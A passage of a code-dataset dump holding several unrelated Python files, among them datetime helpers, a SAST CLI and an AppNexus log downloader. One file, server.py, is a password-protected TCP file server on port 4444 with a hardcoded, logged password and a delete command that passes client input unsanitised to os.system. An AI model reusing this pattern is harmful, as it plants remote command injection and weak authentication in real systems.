if not label_list or cur_label not in label_list:\n cur_os = OperatingSystem(cur_label)\n os_list.add(cur_os)\n\n elif \"sig\" == line[:3]:\n cur_sig = line[8:]\n cur_os.add_sig(cur_sig)\n\n return os_list\n\n\ndef is_http_packet(packet):\n return 'HTTP' in str(packet.payload)\n\n\ndef get_user_agent(packet):\n headers_dict = {}\n headers = packet.payload.splitlines()\n for header in headers:\n header_tuple = header.split(': ')\n if 2 != len(header_tuple):\n continue\n else:\n headers_dict[header_tuple[0]] = header_tuple[1]\n return headers_dict['User-Agent']\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"510893670","text":"import socket, subprocess, os, logging, threading\r\nfrom termcolor import colored\r\nfrom datetime import datetime\r\n\r\nport = 4444\r\nmainpsswd = '1234'\r\ntime_out = 120\r\ndir = False #select a dir to send/receive\r\n\r\ndef addlog(mode, mes, addr=0):\r\n mode = int(mode)\r\n mes = str(mes)\r\n a = datetime.today()\r\n tmp = ('[' + str(a) + '] ' + str(addr) + ': ')\r\n if mode == 1:\r\n logging.info(tmp + str(mes))\r\n elif mode == 2:\r\n logging.error(tmp + str(mes))\r\n\r\ndef send(name, conn, addr):\r\n addlog(1, 'Starting send file: ' + name, addr)\r\n try:\r\n file = open(name, 'rb')\r\n conn.send(str(1).encode())\r\n except FileNotFoundError:\r\n addlog(2, 'File not found: ' + name, addr)\r\n conn.send(str(2).encode())\r\n return 2\r\n exit\r\n conn.recv(1)\r\n i = 0\r\n while True:\r\n data = file.read(1024)\r\n if not(data):\r\n break\r\n i += 1\r\n conn.send(data)\r\n conn.recv(1)\r\n\r\n conn.send('123\\|/Done!'.encode())\r\n ask = conn.recv(2).decode()\r\n if ask == 'ok':\r\n addlog(1, 'Finished send packets: ' + str(i), addr)\r\n return 1\r\n else:\r\n addlog(2, 'Error synchronization on ' + str(i) + ' packet', addr)\r\n return 3\r\n\r\ndef rec(name, conn, addr):\r\n addlog(1, 'Starting recv the file: ' + name, addr)\r\n addlog(1, 'Create file ' + name, addr)\r\n try:\r\n file = open(name, 'wb')\r\n conn.send(str(1).encode())\r\n except:\r\n addlog(2, 'Error from create file: ' + name)\r\n conn.send(str(2).encode())\r\n return 2\r\n addlog(1, 'Done', addr)\r\n print(colored('[*] Recv file ' + str(name) + ' ' + addr, 'yellow'))\r\n addlog(1, 'Starting recv packets', addr)\r\n i = 0\r\n while True:\r\n data = conn.recv(1024)\r\n try:\r\n if '123\\|/Done!' in data.decode():\r\n conn.send('2'.encode())\r\n addlog(1, 'Finish recv packets: ' + str(i), addr)\r\n return 1\r\n except:\r\n 1\r\n i += 1\r\n conn.send(str(1).encode())\r\n file.write(data)\r\n\r\ndef up(name, conn, addr):\r\n rtrn = send(name, conn, addr)\r\n if rtrn == 1:\r\n print(colored('[+] Done ' + addr, 'green'))\r\n elif rtrn == 2:\r\n print(colored(('[-] Fail to open file: ' + str(name)), 'red'))\r\n addlog(2, 'Fail to open file: ' + str(name), addr)\r\n elif rtrn == 3:\r\n addlog(2, 'Error synchronization', addr)\r\n print(colored('[-] Error synchronization ' + addr, 'red'))\r\n\r\ndef down(conn, addr):\r\n name = conn.recv(20).decode()\r\n rtrn = rec(name, conn, addr)\r\n if rtrn == 1:\r\n print(colored('[+] Done ' + addr, 'green'))\r\n elif rtrn == 2:\r\n print(colored(('[-] Fail to create file: ' + str(name) + ' ' + addr), 'red'))\r\n\r\ndef main(conn, addr, mainpsswd):\r\n addlog(1, 'New connection: ' + str(conn), addr)\r\n psswd = conn.recv(20).decode()\r\n if psswd == mainpsswd:\r\n addlog(1, 'The password is correct: ' + str(psswd), addr)\r\n conn.send('1'.encode())\r\n else:\r\n addlog(1, 'Wrong password: ' + str(psswd), addr)\r\n print(colored(('Wrong password: ' + str(psswd)), 'red'))\r\n conn.send('2'.encode())\r\n addlog(1, 'Closing connection', addr)\r\n conn.close()\r\n return\r\n conn.recv(1)\r\n while True:\r\n proc = subprocess.Popen('dir', shell=True, stdout=subprocess.PIPE)\r\n data = proc.stdout.read()\r\n conn.send(data.rstrip())\r\n cmd = conn.recv(10).decode()\r\n conn.send(str(1).encode())\r\n if '1' in cmd:\r\n print(colored('[*] Uploading file ' + addr, 'yellow'))\r\n name = conn.recv(20).decode()\r\n up(name, conn, addr)\r\n elif '2' in cmd:\r\n print(colored('[*] Downloading file ' + addr, 'yellow'))\r\n down(conn, addr)\r\n elif '3' in cmd:\r\n name = conn.recv(20).decode()\r\n addlog(1, 'Deleting file: ' + name, addr)\r\n print(colored(('[*] Deleting file: ' + name + ' ' + addr), 'red'))\r\n os.system('del ' + str(name))\r\n addlog(1, 'Done', addr)\r\n conn.send(str(1).encode())\r\n\r\ndef newthread(conn, addr, mainpsswd):\r\n t = threading.Thread(target=thread, args=(conn, addr, mainpsswd))\r\n t.start()\r\n\r\ndef thread(conn, addr, mainpsswd):\r\n try:\r\n main(conn, addr, mainpsswd)\r\n except ConnectionAbortedError:\r\n addlog(1, 'Client close the connection', addr)\r\n except socket.timeout:\r\n addlog(1, 'Time out', addr)\r\n print(colored('Time out: ' + addr, 'yellow'))\r\n else:\r\n addlog(2, 'Unknow error', addr)\r\n\r\nlogging.basicConfig(filename=\"log.txt\", level=logging.INFO)\r\nif dir:\r\n try:\r\n os.chdir(dir)\r\n addlog(1, 'Dir: ' + dir)\r\n except:\r\n print(colored('[-] Invalid dir', 'red'))\r\n addlog(2, 'Invalid dir')\r\nwhile True:\r\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n s.bind((\"\", port))\r\n s.listen(1)\r\n print(colored('[*] Listening for incoming TCP connection', 'yellow'))\r\n addlog(1, 'Starting listener')\r\n conn, addr = s.accept()\r\n conn.settimeout(time_out)\r\n print(colored('[*] Connection accept from: ' + str(conn), 'yellow'))\r\n newthread(conn, addr[0], mainpsswd)\r\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"81707216","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.9-x86_64/egg/libsast/__main__.py\n# Compiled at: 2020-04-16 20:39:46\n# Size of source mod 2**32: 3526 bytes\n\"\"\"libsast cli.\"\"\"\nimport argparse, json, sys\nfrom libsast import __version__\nfrom libsast.logger import init_logger\nfrom libsast.scanner import Scanner\nlogger = init_logger(__name__)\n\ndef output(out, scan_results):\n \"\"\"Output.\"\"\"\n if out:\n with open(out, 'w') as (outfile):\n json.dump(scan_results, outfile, sort_keys=True, indent=4,\n separators=(',', ': '))\n else:\n if scan_results:\n logger.info(json.dumps(scan_results, sort_keys=True, indent=4,\n separators=(',', ': ')))\n if scan_results:\n sys.exit(1)\n sys.exit(0)\n\n\ndef main():\n \"\"\"Main CLI.\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('path', nargs='*',\n help='Path can be file(s) or directories')\n parser.add_argument('-o', '--output', help='Output filename to save JSON report.',\n required=False)\n parser.add_argument('-p', '--pattern-file', help='YAML pattern file, directory or url',\n required=False)\n parser.add_argument('-s', '--sgrep-pattern-file', help='sgrep rules directory',\n required=False)\n parser.add_argument('-b', '--sgrep-binary', help='sgrep binary location',\n required=False)\n parser.add_argument('--sgrep-file-extensions', nargs='+',\n help='File extensions that should be scanned with sgrep',\n required=False)\n parser.add_argument('--file-extensions', nargs='+',\n help='File extensions that should be scanned with pattern matcher',\n required=False)\n parser.add_argument('--ignore-filenames', nargs='+',\n help='File name(s) to ignore',\n required=False)\n parser.add_argument('--ignore-extensions', nargs='+',\n help='File extension(s) to ignore in lower case',\n required=False)\n parser.add_argument('--ignore-paths', nargs='+',\n help='Path(s) to ignore',\n required=False)\n parser.add_argument('-v', '--version', help='Show libsast version',\n required=False,\n action='store_true')\n args = parser.parse_args()\n if not args.path or args.pattern_file or args.sgrep_pattern_file:\n options = {'sgrep_binary':args.sgrep_binary, 'sgrep_rules':args.sgrep_pattern_file, \n 'sgrep_extensions':args.sgrep_file_extensions, \n 'match_rules':args.pattern_file, \n 'match_extensions':args.file_extensions, \n 'ignore_filenames':args.ignore_filenames, \n 'ignore_extensions':args.ignore_extensions, \n 'ignore_paths':args.ignore_paths}\n result = Scanner(options, args.path).scan()\n output(args.output, result)\n else:\n if args.version:\n logger.info('libsast v%s', __version__)\n else:\n parser.print_help()\n\n\nif __name__ == '__main__':\n main()","sub_path":"pycfiles/libsast-1.0.1-py3.7/__main__.cpython-37.py","file_name":"__main__.cpython-37.py","file_ext":"py","file_size_in_byte":3019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"629022619","text":"\"\"\"Provides helper methods to handle the time in HA.\"\"\"\nimport datetime as dt\nimport re\n\nimport pytz\n\nDATE_STR_FORMAT = \"%Y-%m-%d\"\nUTC = DEFAULT_TIME_ZONE = pytz.utc\n\n\n# Copyright (c) Django Software Foundation and individual contributors.\n# All rights reserved.\n# https://github.com/django/django/blob/master/LICENSE\nDATETIME_RE = re.compile(\n r'(?P\\d{4})-(?P\\d{1,2})-(?P\\d{1,2})'\n r'[T ](?P\\d{1,2}):(?P\\d{1,2})'\n r'(?::(?P\\d{1,2})(?:\\.(?P\\d{1,6})\\d{0,6})?)?'\n r'(?PZ|[+-]\\d{2}(?::?\\d{2})?)?$'\n)\n\n\ndef set_default_time_zone(time_zone):\n \"\"\"Set a default time zone to be used when none is specified.\"\"\"\n global DEFAULT_TIME_ZONE # pylint: disable=global-statement\n\n assert isinstance(time_zone, dt.tzinfo)\n\n DEFAULT_TIME_ZONE = time_zone\n\n\ndef get_time_zone(time_zone_str):\n \"\"\"Get time zone from string. Return None if unable to determine.\"\"\"\n try:\n return pytz.timezone(time_zone_str)\n except pytz.exceptions.UnknownTimeZoneError:\n return None\n\n\ndef utcnow():\n \"\"\"Get now in UTC time.\"\"\"\n return dt.datetime.now(UTC)\n\n\ndef now(time_zone=None):\n \"\"\"Get now in specified time zone.\"\"\"\n return dt.datetime.now(time_zone or DEFAULT_TIME_ZONE)\n\n\ndef as_utc(dattim):\n \"\"\"Return a datetime as UTC time.\n\n Assumes datetime without tzinfo to be in the DEFAULT_TIME_ZONE.\n \"\"\"\n if dattim.tzinfo == UTC:\n return dattim\n elif dattim.tzinfo is None:\n dattim = DEFAULT_TIME_ZONE.localize(dattim)\n\n return dattim.astimezone(UTC)\n\n\ndef as_timestamp(dt_value):\n \"\"\"Convert a date/time into a unix time (seconds since 1970).\"\"\"\n if hasattr(dt_value, \"timestamp\"):\n parsed_dt = dt_value\n else:\n parsed_dt = parse_datetime(str(dt_value))\n if not parsed_dt:\n raise ValueError(\"not a valid date/time.\")\n return parsed_dt.timestamp()\n\n\ndef as_local(dattim):\n \"\"\"Convert a UTC datetime object to local time zone.\"\"\"\n if dattim.tzinfo == DEFAULT_TIME_ZONE:\n return dattim\n elif dattim.tzinfo is None:\n dattim = UTC.localize(dattim)\n\n return dattim.astimezone(DEFAULT_TIME_ZONE)\n\n\ndef utc_from_timestamp(timestamp):\n \"\"\"Return a UTC time from a timestamp.\"\"\"\n return dt.datetime.utcfromtimestamp(timestamp).replace(tzinfo=UTC)\n\n\ndef start_of_local_day(dt_or_d=None):\n \"\"\"Return local datetime object of start of day from date or datetime.\"\"\"\n if dt_or_d is None:\n dt_or_d = now().date()\n elif isinstance(dt_or_d, dt.datetime):\n dt_or_d = dt_or_d.date()\n\n return dt.datetime.combine(dt_or_d, dt.time()).replace(\n tzinfo=DEFAULT_TIME_ZONE)\n\n\n# Copyright (c) Django Software Foundation and individual contributors.\n# All rights reserved.\n# https://github.com/django/django/blob/master/LICENSE\ndef parse_datetime(dt_str):\n \"\"\"Parse a string and return a datetime.datetime.\n\n This function supports time zone offsets. When the input contains one,\n the output uses a timezone with a fixed offset from UTC.\n Raises ValueError if the input is well formatted but not a valid datetime.\n Returns None if the input isn't well formatted.\n \"\"\"\n match = DATETIME_RE.match(dt_str)\n if not match:\n return None\n kws = match.groupdict()\n if kws['microsecond']:\n kws['microsecond'] = kws['microsecond'].ljust(6, '0')\n tzinfo = kws.pop('tzinfo')\n if tzinfo == 'Z':\n tzinfo = UTC\n elif tzinfo is not None:\n offset_mins = int(tzinfo[-2:]) if len(tzinfo) > 3 else 0\n offset_hours = int(tzinfo[1:3])\n offset = dt.timedelta(hours=offset_hours, minutes=offset_mins)\n if tzinfo[0] == '-':\n offset = -offset\n tzinfo = dt.timezone(offset)\n kws = {k: int(v) for k, v in kws.items() if v is not None}\n kws['tzinfo'] = tzinfo\n return dt.datetime(**kws)\n\n\ndef parse_date(dt_str):\n \"\"\"Convert a date string to a date object.\"\"\"\n try:\n return dt.datetime.strptime(dt_str, DATE_STR_FORMAT).date()\n except ValueError: # If dt_str did not match our format\n return None\n\n\ndef parse_time(time_str):\n \"\"\"Parse a time string (00:20:00) into Time object.\n\n Return None if invalid.\n \"\"\"\n parts = str(time_str).split(':')\n if len(parts) < 2:\n return None\n try:\n hour = int(parts[0])\n minute = int(parts[1])\n second = int(parts[2]) if len(parts) > 2 else 0\n return dt.time(hour, minute, second)\n except ValueError:\n # ValueError if value cannot be converted to an int or not in range\n return None\n","sub_path":"homeassistant/util/dt.py","file_name":"dt.py","file_ext":"py","file_size_in_byte":4597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"124020332","text":"#!/usr/bin/env python3\n\nimport json, requests, os, hashlib, sys, time, pickle, getopt, math, configparser, re, boto3, tempfile, datetime\nfrom urllib.parse import urlparse\n\n\ndef checkAuth():\n\t\tr = requests.get('http://api.appnexus.com/user')\n\t\tresp = json.loads(r.text)\n\t\tif resp['response'].get('status', False) != \"OK\":\n\t\t\t\t\t\t#print \"Auth is good\"\n\t\t\t\t\t\treturn False\n\t\telse:\n\t\t\t\t\t\t#print \"No auth\"\n\t\t\t\t\t\treturn True\n\ndef saveCookies (cookieFile, cookieJar):\n\t\tif os.path.exists(cookieFile):\n\t\t\t\t\t\tos.remove(cookieFile)\n\n\t\tf = open(cookieFile, 'wb')\n\t\tpickle.dump(cookieJar, f)\n\ndef getSavedCookies (cookieFile):\n\t\tif os.path.exists(cookieFile):\n\t\t\t\t\t\tf = open(cookieFile, 'rb')\n\t\t\t\t\t\tcookieJar = pickle.load(f)\n\t\t\t\t\t\t#print \"Cookies loaded\"\n\t\t\t\t\t\treturn cookieJar\n\t\telse:\n\t\t\t\t\t\treturn False\n\ndef getAuth(username, password, cookieFile):\n\t\tcookieJar = getSavedCookies(cookieFile)\n\t\tauthUrl = 'https://api.appnexus.com/auth'\n\t\tauthPayload = {\n\t\t\t\t\t\t\"auth\":{\n\t\t\t\t\t\t\t\t\"username\":username,\n\t\t\t\t\t\t\t\t\"password\":password\n\t\t\t\t\t\t}\n\t\t\t\t}\n\n\t\tif not cookieJar or not checkAuth():\n\t\t\t\t\t\tr = requests.post(authUrl, data=json.dumps(authPayload))\n\t\t\t\t\t\tresp = json.loads(r.text)\n\t\t\t\t\t\tif resp['response'].get('status', False) != \"OK\":\n\t\t\t\t\t\t\t\tlogMessage(\"ERROR\", 'Auth failed: ' + str(resp['response']))\n\t\t\t\t\t\t\t\treturn False\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t#print \"Successfully authenticated\"\n\t\t\t\t\t\t\t\tcookieJar = r.cookies\n\t\t\t\t\t\t\t\tsaveCookies(cookieFile, cookieJar)\n\t\treturn cookieJar\n\n\ndef getAvailableLogs(cookieJar, updatedSince):\n\t\tlogListUrl = 'http://api.appnexus.com/siphon'\n\n\t\t# set optional parameters\n\t\tparams = {}\n\t\tif updatedSince:\n\t\t\tparams[\"updated_since\"]=updatedSince\n\n\t\tr = requests.get(logListUrl, cookies=cookieJar, params=params)\n\t\tresp = json.loads(r.text)[\"response\"]\n\n\t\tif resp.get(\"status\", False) != \"OK\":\n\t\t\t\treturn False\n\t\telse:\n\t\t\t\treturn resp[\"siphons\"]\n\ndef ensureDirExists (path):\n\t\t# check if an s3 path (starts with s3://\n\t\tif path.startswith(\"s3://\"):\n\t\t\t\t# handle as s3 path\n\t\t\t\treturn ensureS3BucketExists(path)\n\t\telif os.path.isdir(path):\n\t\t\t\t# local path and exists\n\t\t\t\treturn True\n\t\telif os.path.exists(path):\n\t\t\t\tlogMessage(\"Error\", \"path (\"+path+\") exists but is not directory\")\n\t\t\t\treturn False\n\t\telse:\n\t\t\t\t# create local path for the first time\n\t\t\t\tos.makedirs(os.abspath(path))\n\t\t\t\tif os.path.isdir(path):\n\t\t\t\t\t\treturn True\n\t\t\t\telse:\n\t\t\t\t\t\tlogMessage(\"ERROR\", \"Tried to create dir (\"+path+\") but didn't seem to work\")\n\t\t\t\t\t\treturn False\n\n# read the checksum of the S3 object.\n# We store the checksum as a metadata named anchecksum.\n# Note that if this doesn't exist, we will use the ETag as a fallback because in most cases\n# ETag will hold the md5 checksum of the file. Worst case, our code should efault to upload a fresh copy of the file\n# which will then set the proper anchecksum metadata value.\n# @return the server's checksum value, or \"\" if the file or the checksum couldn't be found\ndef readS3Checksum(s3Path):\n\ts3 = s3Client()\n\tbucket, key = parseS3Path(s3Path)\n\ttry:\n\t\tobjHead = s3.head_object(Bucket = bucket, Key = key)\n\t\tserverChecksum = objHead['Metadata']['anchecksum']\n\t\t# Sometime the ETag value will be of the MD5 of the file, so if we got nothing from the previous call we can fallback\n\t\t# on the etag, incase it holds the information we need\n\t\tif (serverChecksum == None or serverChecksum == \"\"):\n\t\t\t# fallback on ETag. If not a match, we will \"eat the cost\" once and re-upload the file\n\t\t\tserverChecksum = objHead['ETag']\n\t\treturn serverChecksum\n\texcept:\n\t\treturn \"\"\n\n\ndef isNewLogFile (localFileName, anServerFileMD5):\n\tif localFileName.startswith(\"s3://\"):\n\t\tchksumS3 = readS3Checksum(localFileName)\n\t\t# return True if the checksumes do not match, i.e. server's file is different\n\t\tif chksumS3 == anServerFileMD5:\n\t\t return False\n\t\telse:\n\t\t\tif chksumS3 != \"\": logMessage(\"WARN\", localFileName + \" exists, but checksum wrong '\" + chksumS3 + \"' / '\" + anServerFileMD5 + \"'\")\n\t\t\treturn True\n\telif os.path.exists(localFileName):\n\t\tchksumDisk = checksum(localFileName)\n\t\tif anServerFileMD5 == chksumDisk:\n\t\t\treturn False\n\t\telse:\n\t\t\tlogMessage(\"WARN\", localFileName + \" exists, but checksum wrong '\" + chksumDisk + \"' / '\" + anServerFileMD5 + \"'\")\n\t\t\treturn True\n\telse:\n\t\t\treturn True\n\n# concat the full name of the file from the various parts\n# dataDir the base path to the file, may be a local path or an s3://bucket/base-path\n# mergeDailyFolder: if False, we will create a subfolder for each day as YYYY_MM_DD/ for all the daily files\n# logType: the logType as provided from AppNexus (e.g. standard-feed, pixel-feed etc)\n# logHour: the hour part of the log e.g. YYYY_MM_DD_HH\n# timestamp: the actual timestamp in UTC that this data was last updated (per AN API, may not be correlated\n# with the logHour if the file was corrected later on)\n# part: when the hourly file is split into multiple files, this is the part number\n# dupe: if this is a duplicate (updated file) the timestamp will be added to the file as -dupe-{timestamp}\n# extension: the file extension: e.g. gz\n# returns: a complete path made of all the parts\ndef buildFileName (dataDir, mergeDailyFolder, logType, logHour, timestamp, part, dupe, extension):\n\t# if not merging daily folders, create a daily folder with the date part of the logHour (first\n\t# 10 character i.e. YYYY_MM_DD/\n\tdailyFolder = \"\" if mergeDailyFolder else (logHour[:10] + \"/\")\n\n\tname = dataDir.rstrip(\"/\") + \"/\" + logType + \"/\" + dailyFolder + logHour\n\tif dupe:\n\t\t\tname += \"-dupe-\" + timestamp\n\tname += \"_pt\" + part + \".\" + extension\n\treturn name\n\ndef downloadFile(url, params, localFile, cookieJar):\n\t\t#\n\t\t# Setup progress bar\n\t\t#\n\t\tmaxProgress = 40\n\t\tsys.stdout.write(\"\\t\")\n\t\tsys.stdout.write(\"[%s]\" % (\" \" * maxProgress))\n\t\tsys.stdout.flush()\n\t\tsys.stdout.write(\"\\b\" * (maxProgress+1)) # return to start of line, after '['\n\t\tcurrProgress = 0\n\n\t\t#\n\t\t# Do the download\n\t\t#\n\t\tr = requests.get(url, cookies=cookieJar, params=params, stream=True)\n\t\tdlData = {}\n\t\tdlData[\"size\"] = int(r.headers['content-length'].strip())\n\t\tdlData[\"dlsize\"] = 0\n\t\twith open(localFile, 'wb') as f:\n\t\t\t\t\t\tfor chunk in r.iter_content(chunk_size=1024):\n\t\t\t\t\t\t\tif chunk: # filter out keep-alive new chunks\n\t\t\t\t\t\t\t\t\tdlData[\"dlsize\"] += len(chunk)\n\t\t\t\t\t\t\t\t\tf.write(chunk)\n\t\t\t\t\t\t\t\t\tf.flush()\n\t\t\t\t\t\t\t\t\t# update progress bar\n\t\t\t\t\t\t\t\t\tif math.floor(float(dlData[\"dlsize\"]) / dlData[\"size\"] * maxProgress ) > currProgress:\n\t\t\t\t\t\t\t\t\t\tcurrProgress += 1\n\t\t\t\t\t\t\t\t\t\tsys.stdout.write(\"|\")\n\t\t\t\t\t\t\t\t\t\tsys.stdout.flush()\n\t\tsys.stdout.write(\"\\n\")\n\t\treturn dlData\n\ndef checksum(filepath):\n\t\tmd5 = hashlib.md5()\n\t\tblocksize = 8192\n\t\tf = open(filepath, 'rb')\n\t\twhile True:\n\t\t\t\t\t\tdata = f.read(blocksize)\n\t\t\t\t\t\tif not data:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tmd5.update(data)\n\t\treturn md5.hexdigest()\n\n\ndef checkDupes (logFiles):\n\t\td = dict()\n\t\tfor log in logFiles:\n\t\t\t\tk = log[\"name\"] + \"-\" + log[\"hour\"]\n\t\t\t\tv = log\n\t\t\t\tif k in d: # dupe!\n\t\t\t\t\t\told = d[k]\n\t\t\t\t\t\toldTimeStamp = old[\"timestamp\"]\n\t\t\t\t\t\tlogTimeStamp = log[\"timestamp\"]\n\t\t\t\t\t\tlogMessage(\"INFO\", \"Found duplicate for log: \" + k)\n\t\t\t\t\t\tlogMessage(\"INFO\", \"Will keep the one with the newest timestamp (\"+oldTimeStamp+\" vs \"+logTimeStamp+\").\")\n\t\t\t\t\t\tif logTimeStamp < oldTimeStamp:\n\t\t\t\t\t\t\t\tlog[\"dupe\"] = True\n\t\t\t\t\t\t\t\tk = k + \"-\" + logTimeStamp\n\t\t\t\t\t\t\t\td[k] = v\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\td[k] = v\n\t\t\t\t\t\t\t\told[\"dupe\"] = True\n\t\t\t\t\t\t\t\tk = k + \"-\" + oldTimeStamp\n\t\t\t\t\t\t\t\td[k] = old\n\t\t\t\telse:\n\t\t\t\t\t\td[k] = v\n\t\treturn list(d.values())\n\ndef downloadNewLogs (logFiles, dataDir, mergeDailyFolder, filter, url_logDownload, cookieJar, minTimePerRequestInSecs):\n\t\tmaxRetries = 5\n\t\tnumExisting = 0\n\t\tnumDownloaded = 0\n\t\tnumFailed = 0\n\t\tnumFiltered = 0\n\t\tisS3 = dataDir.startswith(\"s3://\")\n\n\t\tfor log in logFiles:\n\t\t\t\t\t\tlogType = log[\"name\"]\n\t\t\t\t\t\tensureDirExists(dataDir + \"/\" + logType)\n\t\t\t\t\t\tlogHour = log[\"hour\"]\n\t\t\t\t\t\ttimestamp = log[\"timestamp\"]\n\n\t\t\t\t\t\tdupe = False\n\t\t\t\t\t\tif \"dupe\" in log and log[\"dupe\"]:\n\t\t\t\t\t\t\t\tdupe = True\n\n\t\t\t\t\t\tif dupe: # don't download dupes\n\t\t\t\t\t\t\t\tcontinue\n\n\t\t\t\t\t\tfor logFile in log[\"splits\"]:\n\t\t\t\t\t\t\tsplitPart = logFile[\"part\"]\n\t\t\t\t\t\t\tanChecksum = logFile[\"checksum\"]\n\t\t\t\t\t\t\tstatus = logFile[\"status\"] # e.g. new\n\n\t\t\t\t\t\t\tfilename = buildFileName(dataDir, mergeDailyFolder, logType, logHour, timestamp, splitPart, dupe, \"gz\")\n\t\t\t\t\t\t\tdownloadTo = filename\n\n\t\t\t\t\t\t\tif filter != '' and filename.find(filter) == -1:\n\t\t\t\t\t\t\t\tnumFiltered += 1\n\t\t\t\t\t\t\t\tcontinue # skip downloading this one\n\n\t\t\t\t\t\t\tif isNewLogFile(filename, anChecksum):\n\t\t\t\t\t\t\t\t\t#download\n\t\t\t\t\t\t\t\t\tparams_logDownload = dict(\n\t\t\t\t\t\t\t\t\t\t\tsplit_part=splitPart,\n\t\t\t\t\t\t\t\t\t\t\thour=logHour,\n\t\t\t\t\t\t\t\t\t\t\ttimestamp=timestamp,\n\t\t\t\t\t\t\t\t\t\t\tsiphon_name=logType\n\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\ttrys = 0\n\t\t\t\t\t\t\t\t\tdownloadCorrect = False\n\t\t\t\t\t\t\t\t\tif isS3:\n\t\t\t\t\t\t\t\t\t\tdownloadTo = tempfile.NamedTemporaryFile(prefix=\"~dwnld-\", suffix=\".gz\", delete=True).name\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\twhile trys < maxRetries and not downloadCorrect:\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\tlogMessage(\"INFO\", \"Getting: \" + filename + \" (try \" + str(trys) + \")\")\n\t\t\t\t\t\t\t\t\t\t\ttimeStart = time.time()\n\t\t\t\t\t\t\t\t\t\t\tdlData = downloadFile(url_logDownload, params_logDownload, downloadTo, cookieJar)\n\t\t\t\t\t\t\t\t\t\t\ttimeEnd = time.time()\n\t\t\t\t\t\t\t\t\t\t\ttimeElapsed = timeEnd - timeStart\n\t\t\t\t\t\t\t\t\t\t\tdlSpeedk = round(float(dlData[\"dlsize\"])/1024/timeElapsed, 2)\n\t\t\t\t\t\t\t\t\t\t\tdlActual = round(float(dlData[\"dlsize\"])/1024/1024, 2)\n\t\t\t\t\t\t\t\t\t\t\tdlExpected = round(float(dlData[\"size\"])/1024/1024, 2)\n\t\t\t\t\t\t\t\t\t\t\tprint(\"\\t\" + str(dlActual) + \" of \" + str(dlExpected) + \" MB in \" + str(round(timeElapsed, 1)) + \" seconds (\"+str(dlSpeedk)+\" kbps)\")\n\t\t\t\t\t\t\t\t\t\t\ttrys += 1\n\n\t\t\t\t\t\t\t\t\t\t\tdownloadChecksum = checksum(downloadTo)\n\n\t\t\t\t\t\t\t\t\t\t\tif downloadChecksum == anChecksum:\n\t\t\t\t\t\t\t\t\t\t\t\tdownloadCorrect = True\n\t\t\t\t\t\t\t\t\t\t\t\tif isS3:\n\t\t\t\t\t\t\t\t\t\t\t\t\tuploadToS3Path(downloadTo, filename, anChecksum)\n\t\t\t\t\t\t\t\t\t\t\t\t\tos.remove(downloadTo)\n\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\tprint(\"\\tAppNexus Checksum (\"+anChecksum+\") doesn't match downloaded file (\"+downloadChecksum+\").\")\n\n\t\t\t\t\t\t\t\t\t\t\tsleepTime = minTimePerRequestInSecs - timeElapsed\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\tif sleepTime > 0:\n\t\t\t\t\t\t\t\t\t\t\t\tprint(\"Sleeping for \" + str(sleepTime) + \" seconds\")\n\t\t\t\t\t\t\t\t\t\t\t\ttime.sleep(sleepTime)\n\n\t\t\t\t\t\t\t\t\tif downloadCorrect:\n\t\t\t\t\t\t\t\t\t\t\tnumDownloaded += 1\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\tlogMessage(\"ERROR\", \"Failed to successfully download \" + filename + \". Removing.\")\n\t\t\t\t\t\t\t\t\t\t\tnumFailed += 1\n\t\t\t\t\t\t\t\t\t\t\tos.remove(downloadTo)\n\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t#already have this one\n\t\t\t\t\t\t\t\t\tnumExisting += 1\n\t\t\n\t\tlogMessage(\"INFO\", \"Skipped \" + str(numFiltered) + \" (filtered) files\")\n\t\tlogMessage(\"INFO\", \"Skipped \" + str(numExisting) + \" (existing) files\")\n\t\tlogMessage(\"INFO\", \"Downloaded \" + str(numDownloaded) + \" (new/changed) files\")\n\t\tlogMessage(\"INFO\" if numFailed == 0 else \"ERROR\", \"Failed to download \" + str(numFailed) + \" files.\")\n\n\n# test that the given path is a valid s3 path that we have permissions to access\ndef ensureS3BucketExists(path):\n\t\tbacket, key = parseS3Path(path)\n\t\ts3 = s3Client()\n\t\ttry:\n\t\t\tbucketLocation = s3.get_bucket_location(Bucket = backet)\n\t\t\t# if we are here, bucket exists\n\t\t\treturn (bucketLocation and bucketLocation['LocationConstraint'])\n\t\texcept:\n\t\t\tlogMessage(\"Error\", \"Bucket {0} not found\".format(backet))\n\t\t\treturn False\n\n\ndef uploadToS3Path(localFile, s3path, checksum):\n\ts3 = s3Client()\n\tbucket, key = parseS3Path(s3path)\n\ts3.upload_file(localFile, bucket, key, ExtraArgs={\"Metadata\": {\"anchecksum\": checksum}})\n\treturn True\n\ndef s3Client():\n\tglobal awsAccessKeyId, awsSecret, awsRegion\n\tif awsAccessKeyId and awsSecret and awsRegion:\n\t\treturn boto3.client(\"s3\", aws_access_key_id = awsAccessKeyId, aws_secret_access_key = awsSecret, region_name = awsRegion)\n\telse:\n\t\treturn boto3.client(\"s3\")\n\n\ndef parseS3Path(s3Path):\n\tparsedPath = urlparse(s3Path)\n\tif parsedPath.scheme == 